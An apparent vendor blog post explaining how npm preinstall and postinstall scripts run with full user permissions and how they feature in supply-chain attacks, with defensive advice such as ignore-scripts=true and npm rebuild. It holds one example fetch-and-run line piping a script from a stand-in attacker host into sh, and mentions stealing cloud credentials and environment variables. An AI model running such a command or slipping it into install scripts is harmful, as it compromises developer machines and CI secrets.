What a postinstall script can run on your machine before you've reviewed a single line of the package
Von Seaworthy · 6. August 2026
Photo by Mohammad Rahmani on Unsplash
npm install looks like a file copy. A progress bar, some package names scrolling past, a summary line about how many packages were added, done. What actually happens underneath is that npm resolves the full dependency tree, and for every package in it, including transitive ones you never typed into package.json and have never opened, that defines a preinstall, install, or postinstall script, npm executes that script as a child process with your full user account permissions. No sandbox, no prompt, no diff shown first. If a package wants to run curl attacker.example.com/payload.sh | sh the moment it's installed, npm install is the only permission it needs.
Why this exists, and why it's not automatically malicious
Lifecycle scripts are a real, legitimate feature. Packages with native addons, such as bcrypt, sharp, or node-sass historically, anything wrapping a C or C++ library, need to compile platform-specific binaries at install time, because a prebuilt binary for every combination of OS, architecture, and Node version isn't always available. node-gyp rebuild running from a postinstall script is normal, expected, and necessary for those packages to work at all.
The problem isn't that lifecycle scripts exist. It's that the mechanism doesn't distinguish "recompiling a native binding" from "reading ~/.aws/credentials and POSTing it somewhere." Both are just a script npm runs on your behalf, and by default, npm doesn't ask.
This is a real, recurring attack pattern
This isn't a hypothetical risk category, it's the specific mechanism behind a recurring class of real npm supply-chain compromises. The pattern: an attacker gains publish access to a popular package, either by compromising a maintainer's credentials or by getting added as a co-maintainer through social engineering, then ships a version bump that looks like a routine patch. The changelog looks normal. The diff to the actual library code, if anyone even checks it, looks normal or is minimal. The payload lives in a postinstall script, runs once at install time, and by the time anyone notices unusual behavior, it's already executed on every machine, developer laptops, and worse, CI runners, that ran npm install against that version.
CI runners are the higher-value target in this scenario, and it's worth being specific about why: a developer's laptop compromise is bad, but a CI runner frequently holds the actual deploy credentials, cloud provider keys, container registry tokens, production database connection strings passed in as environment variables for integration tests. A postinstall script that runs env and exfiltrates the output doesn't need any further exploit chain. It already has what it came for.
Checking what you're about to run
Before installing something new, or auditing what's already in a project, you can see which packages in the tree declare lifecycle scripts without running npm install first:
# see the scripts a specific package declares, before installing it
npm view <package-name> scripts
# for an already-installed tree, scripts show up in each package's package.json
grep -r '"postinstall"\|"preinstall"' node_modules/*/package.json
Neither command tells you whether a script is malicious, a completely legitimate node-gyp rebuild and a credential-exfiltration one-liner both just show up as a string. What it gives you is visibility into which packages are running code at all, versus which ones are just files, which is the distinction that matters for deciding where to look closer.
Turning scripts off by default
The more durable fix is disabling lifecycle scripts globally and re-enabling them explicitly only for packages that genuinely need them:
# .npmrc
ignore-scripts=true
With that set, npm install copies files and does nothing else. For the handful of packages in a real project that legitimately need a native build step, run the rebuild explicitly and deliberately, so it's a decision you made rather than something that happened silently as a side effect of installing forty other things:
npm rebuild bcrypt
This trades a small amount of friction, you'll notice the first time a package that needs compilation doesn't work until you rebuild it, for the much larger benefit of no package in your tree executing arbitrary code without you choosing that. Combined with npm ci in CI (which installs exactly what's in the lockfile rather than re-resolving), and pinned exact versions for anything sensitive, ignore-scripts=true closes off the specific mechanism that made several real, disclosed npm supply-chain incidents possible in the first place, not the vulnerability that let an attacker publish a malicious version, but the blast radius of what that malicious version could do the moment someone ran npm install.
Seaworthy's dependency hygiene checks flag packages in the resolved tree, direct or transitive, that declare preinstall, install, or postinstall scripts, so you know which installs are running code on your machine before you find out the hard way.
Dieser Artikel wurde von KI generiert und fasst öffentlich verfügbare Quellen zusammen.
Seaworthy scannt dein Repository nach den Problemen, die in Artikeln wie diesem behandelt werden.
Sicherheitslücken, offengelegte Geheimnisse und Fehlkonfigurationen — erkannt, bevor du bereitstellst. Kostenlos, kein Konto nötig.